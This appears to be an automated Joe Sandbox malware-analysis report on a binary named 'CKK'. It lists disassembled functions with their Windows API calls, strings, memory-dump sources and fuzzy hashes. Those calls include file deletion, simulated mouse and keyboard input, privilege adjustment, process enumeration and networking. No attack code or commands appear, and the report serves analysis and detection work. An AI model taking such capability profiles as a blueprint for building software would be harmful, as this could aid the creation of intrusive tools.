Function 00E5997D Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 00E59BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00E59BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 00E59A4E
GetSysColor.USER32 ref: 00E59B23
SetBkColor.GDI32(?,00000000), ref: 00E59B36

Strings

6ofs, xrefs: 00E9778D

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Color$LongProcWindow
String ID: 6ofs
API String ID: 3131106179-1294211291
Opcode ID: 213502412a30f1875ae5b618d1ba164bc9f80fc7f00d9c6b2d1653436be6ecb7
Instruction ID: e991aa8b500467bcff86a0bf8d9b0af14f6a31608b24ad48844238fbb28bfacc
Opcode Fuzzy Hash: 213502412a30f1875ae5b618d1ba164bc9f80fc7f00d9c6b2d1653436be6ecb7
Instruction Fuzzy Hash: 36A15CB0218144FEEB289A3C8C48DFB369DEB42346F15790AF942F66D3CA259D0DD275

Uniqueness

Uniqueness Score: -1.00%

Function 00E7B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00E7B9D4
_free.LIBCMT ref: 00E7B9F8
_free.LIBCMT ref: 00E7BB7F
GetTimeZoneInformation.KERNEL32 ref: 00E7BB91
WideCharToMultiByte.KERNEL32 ref: 00E7BC09
WideCharToMultiByte.KERNEL32 ref: 00E7BC36
_free.LIBCMT ref: 00E7BD4B

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 994b9e03b0a556bee50e43737df12220a109f4212d7a83f2ab11239ad0c7b79c
Instruction ID: d468f0c2463efc6ff6d7f69f517233c935cf313bbbe0b12fdb3351fc60f3a14a
Opcode Fuzzy Hash: 994b9e03b0a556bee50e43737df12220a109f4212d7a83f2ab11239ad0c7b79c
Instruction Fuzzy Hash: 88C12771904249AFDB21EF789C41BAABBF8EF41314F14E19AE998F7251E7308E41D750

Uniqueness

Uniqueness Score: -1.00%

Function 00EAD3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E43AA2: GetFullPathNameW.KERNEL32 ref: 00E43AC2

Part of subcall function 00EAE199: GetFileAttributesW.KERNEL32 ref: 00EAE19A

FindFirstFileW.KERNEL32(?,?), ref: 00EAD420
DeleteFileW.KERNEL32 ref: 00EAD470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00EAD481
FindClose.KERNEL32(00000000), ref: 00EAD498
FindClose.KERNEL32(00000000), ref: 00EAD4A1

Strings

\*.*, xrefs: 00EAD3F2

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: eda246a229c0365aa2ed2d573acdb73c9e790d6ae7833c3e1b999b590a68e9ff
Instruction ID: b05f46a3ac9404aaf104b11cddc43c038a40aebe69984c735607053de94f0c40
Opcode Fuzzy Hash: eda246a229c0365aa2ed2d573acdb73c9e790d6ae7833c3e1b999b590a68e9ff
Instruction Fuzzy Hash: E531727100D3459FC304EF64E8558AF77E8AE9A314F446A2DF4E2631A1EB30AA09D763

Uniqueness

Uniqueness Score: -1.00%

Function 00E7E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00E7E645

Strings

1#QNAN, xrefs: 00E7F84B
1#IND, xrefs: 00E7F83D
1#INF, xrefs: 00E7F852
1#SNAN, xrefs: 00E7F844

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c042906b44b52d05239c06e5fd8d32ccc7da0edd1f8ba3f852942a8c388dc3af
Instruction ID: 58a0f769a54dbd9bfde5d09c8e8f59e997df20bc96f32fa46e0062ab8b5b5e98
Opcode Fuzzy Hash: c042906b44b52d05239c06e5fd8d32ccc7da0edd1f8ba3f852942a8c388dc3af
Instruction Fuzzy Hash: D9C22972E086298FDB29CE28DD407EAB7B5EB49305F1491EAD44DF7241E774AE818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00EB648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00EB64DC
CoInitialize.OLE32 ref: 00EB6639
CoCreateInstance.OLE32 ref: 00EB6650
CoUninitialize.OLE32 ref: 00EB68D4

Strings

.lnk, xrefs: 00EB64BA, 00EB6524, 00EB65E0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: fe8ef9693371eac7437e0c73065c1cd0df05249df03aa415dcaf6ff40f9835b7
Instruction ID: 02cd940b522b5d10f01e5dbef5662dde1e220d0bf1849d1a1ec407f7d4b10e2c
Opcode Fuzzy Hash: fe8ef9693371eac7437e0c73065c1cd0df05249df03aa415dcaf6ff40f9835b7
Instruction Fuzzy Hash: C7D159716093019FC314EF24D881DABB7E8FF98304F14596DF595AB2A2DB31E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EC22DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00EC22E8

Part of subcall function 00EBE4EC: GetWindowRect.USER32(?,?), ref: 00EBE504

GetDesktopWindow.USER32 ref: 00EC2312
GetWindowRect.USER32(00000000), ref: 00EC2319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00EC2355
GetCursorPos.USER32(?), ref: 00EC2381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00EC23DF

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 37a9a07ca519b937aa0d9ffbd10db3a1f52df991e58420d3fe5b8ab4b589edb2
Instruction ID: c8e071173daab4885897037d8360d8b41836da500d2418ea1a607264b72aa621
Opcode Fuzzy Hash: 37a9a07ca519b937aa0d9ffbd10db3a1f52df991e58420d3fe5b8ab4b589edb2
Instruction Fuzzy Hash: 2031DE72105346AFCB20DF19D904F9BB7A9FB88714F10191EF984A7181DA35E909CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EC1806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00EC307A
Part of subcall function 00EC304E: _wcslen.LIBCMT ref: 00EC309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00EC185D
WSAGetLastError.WSOCK32 ref: 00EC1884
bind.WSOCK32(00000000,?,00000010), ref: 00EC18DB
WSAGetLastError.WSOCK32 ref: 00EC18E6
closesocket.WSOCK32(00000000), ref: 00EC1915

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: f4996a1eca3ff34f356ac2be4f6ac43b42c422a45d01fbbf01928fc6e9082fff
Instruction ID: b5783655b5d5dd336b8adc63228a01c7edf4873f55daa6c4781a9d80b1151601
Opcode Fuzzy Hash: f4996a1eca3ff34f356ac2be4f6ac43b42c422a45d01fbbf01928fc6e9082fff
Instruction Fuzzy Hash: 6251E071A00200AFDB10AF24D986F2AB7E5AB45718F18948CF9057F383C771AD42CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E48060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00E483FA
ERCP, xrefs: 00E4813C
VUUU, xrefs: 00E4843C
VUUU, xrefs: 00E483E8
VUUU, xrefs: 00E85DF0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: 688611b9938f8d8cfb817c40f6345a22bc7d83e6869e7e19ae9150cbacae0f63
Instruction ID: f0e7da436bc44c66b1d1775b697bfc4a048daea386c54bd7bbe5877b18365af5
Opcode Fuzzy Hash: 688611b9938f8d8cfb817c40f6345a22bc7d83e6869e7e19ae9150cbacae0f63
Instruction Fuzzy Hash: C0A28C71A0021ACBDF24DF58D9407EEB7B1BB54318F2491AAE81DB7285EB749D81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00E64CE8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00E64D09
TerminateProcess.KERNEL32 ref: 00E64D10
ExitProcess.KERNEL32 ref: 00E64D22

Strings

(, xrefs: 00E64CEA

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID: (
API String ID: 1703294689-2063206799
Opcode ID: b5860e9e460eb4ceea710090459c600ffbc555e125f38bdedb824db3c44d2c11
Instruction ID: 4134db315a9462d3e302e5a3d5ab8be46796b55628e27341bbf3d3b8cd90d96b
Opcode Fuzzy Hash: b5860e9e460eb4ceea710090459c600ffbc555e125f38bdedb824db3c44d2c11
Instruction Fuzzy Hash: 91E0B6B1441149AFCF11AF65FD09A583B69EB417C5F209055FC09AB162CB35DD46DA80

Uniqueness

Uniqueness Score: -1.00%

Function 00ECA67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00ECA6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00ECA6BA

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

Process32NextW.KERNEL32(00000000,?), ref: 00ECA79C
CloseHandle.KERNEL32(00000000), ref: 00ECA7AB

Part of subcall function 00E5CE60: CompareStringW.KERNEL32 ref: 00E5CE8A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 86689b44a962f8330796e0dbfe5574bf197d1120d9ceb25920ee88e861701031
Instruction ID: 78e3bbbdce3cd18381c443bedbadbf74291c25bc87c9c8e9f877c29257eb3706
Opcode Fuzzy Hash: 86689b44a962f8330796e0dbfe5574bf197d1120d9ceb25920ee88e861701031
Instruction Fuzzy Hash: A3517B71508300AFD314EF24D886E6BBBE8FF89754F04592DF985A7262EB31D905CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00EAAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00EAAAAC
SetKeyboardState.USER32(00000080), ref: 00EAAAC8
PostMessageW.USER32 ref: 00EAAB36
SendInput.USER32(00000001,?,0000001C), ref: 00EAAB88

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 5a9c2462101e06a0ae1594722ff01e83c2344e1124dba40515f6a2633883d44c
Instruction ID: 2d8f3c3ecfad7c31784d8087dade4d7c92fd67736f94431bb4c98fc56a59922c
Opcode Fuzzy Hash: 5a9c2462101e06a0ae1594722ff01e83c2344e1124dba40515f6a2633883d44c
Instruction Fuzzy Hash: 83312B30A40308AEEB308A65CC05BFA77E6AB4E314F18622AE0817A1D1D374A985C772

Uniqueness

Uniqueness Score: -1.00%

Function 00EBCE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00EBCE89
GetLastError.KERNEL32 ref: 00EBCEEA
SetEvent.KERNEL32 ref: 00EBCEFE

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 4a311c68a04f32f3305159b6fa8630cd0b236a57b5d21a865057a4eabdbb65e9
Instruction ID: 604334c2866849024459bec55f17169701b04b29556e9b6a7e0d2b70db844d2b
Opcode Fuzzy Hash: 4a311c68a04f32f3305159b6fa8630cd0b236a57b5d21a865057a4eabdbb65e9
Instruction Fuzzy Hash: 7D21AC71608706DFDB209FA5E948BA777F8EB00358F20541AE646E2151E770EA08CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00EA8298 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00EA82AA

Strings

|, xrefs: 00EA82DA
(, xrefs: 00EA82F0

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: c42473130eb4d541fc7d77bcd6af4d1fa4c3bc116e471ce00b5f8c73e54cb07a
Instruction ID: a4323a4e47fdb3d6ebcc9c043bafdae6fcd56d01f9ed86c09140408016711286
Opcode Fuzzy Hash: c42473130eb4d541fc7d77bcd6af4d1fa4c3bc116e471ce00b5f8c73e54cb07a
Instruction Fuzzy Hash: CA323574A007059FCB28CF59C581AAAB7F0FF48714B15D56EE49AEB3A1EB70E941CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00E72622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00E7271A
SetUnhandledExceptionFilter.KERNEL32 ref: 00E72724
UnhandledExceptionFilter.KERNEL32(?), ref: 00E72731

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 54fd4f21b4f81ae6a2d426225aa8dcc6de1ea72e5210a0badfffee44c5461969
Instruction ID: c5c1d3c0dd03271da6c693d085602d89b81c3d34c122a858ffbc33d01a3db0fe
Opcode Fuzzy Hash: 54fd4f21b4f81ae6a2d426225aa8dcc6de1ea72e5210a0badfffee44c5461969
Instruction Fuzzy Hash: 7C31D574D5122D9BCB21DF68DD8879DB7B8AF08350F5052EAE91CA7260E7309F858F44

Uniqueness

Uniqueness Score: -1.00%

Function 00EB51CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00EB51DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00EB5238
SetErrorMode.KERNEL32(00000000), ref: 00EB52A1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 26b6c16d751b8bee3c797ba98abdf866d9a36a3524e3462942f80fbf32e2d7c1
Instruction ID: f4924257ee179838f7c612a5fe09ec43a6d601e6c709565d2b84f9870286c2b1
Opcode Fuzzy Hash: 26b6c16d751b8bee3c797ba98abdf866d9a36a3524e3462942f80fbf32e2d7c1
Instruction Fuzzy Hash: 9D316B35A00518DFDB00DF54D884EAEBBF4FF09318F188099E805AB362CB35E84ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EA16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 00E5FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00E60668
Part of subcall function 00E5FDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 00E60685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00EA170D
AdjustTokenPrivileges.ADVAPI32 ref: 00EA173A
GetLastError.KERNEL32 ref: 00EA174A

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: 127a04a02964556e068a0e3a2fddfe0c9185908788d7d12f13ce31f7538e7066
Instruction ID: 8038ef606234dc1b52faec3812050c316e9181108154f33cfd3d4bca9287e245
Opcode Fuzzy Hash: 127a04a02964556e068a0e3a2fddfe0c9185908788d7d12f13ce31f7538e7066
Instruction Fuzzy Hash: A31101B2400305AFD7189F54EC86E6AB7F8EB09754B20856EF446A7241EB70BC45CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00EAD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 00EAD608
DeviceIoControl.KERNEL32 ref: 00EAD645
CloseHandle.KERNEL32(?), ref: 00EAD650

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000F02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447790106.0000000000F0C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447798752.0000000000F14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_e40000_CKK.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 2a077ebed2c4fa12a5f73b5384bd9e3711aeb6d98e78a61ca2c26c6f3db14f91
Instruction ID: 0da9eaed6b0fcae0cc36905c788bf1643e9f474e1db81ce83e2d5757476e2500
Opcode Fuzzy Hash: 2a077ebed2c4fa12a5f73b5384bd9e3711aeb6d98e78a61ca2c26c6f3db14f91
Instruction Fuzzy Hash: 39118EB1E05228BFDB108F95EC44FAFBBBCEB49B50F108152F904F7290C2705A058BA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EA1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 00EA168C
CheckTokenMembership.ADVAPI32 ref: 00EA16A1
FreeSid.ADVAPI32(?), ref: 00EA16B1

Memory Dump Source

Source File: 00000003.00000002.447687352.0000000000E41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000003.00000002.447679499.0000000000E40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.447747502.0000000000EDC000.00000002.00000001.01000000.00000003.sdmpDownload File
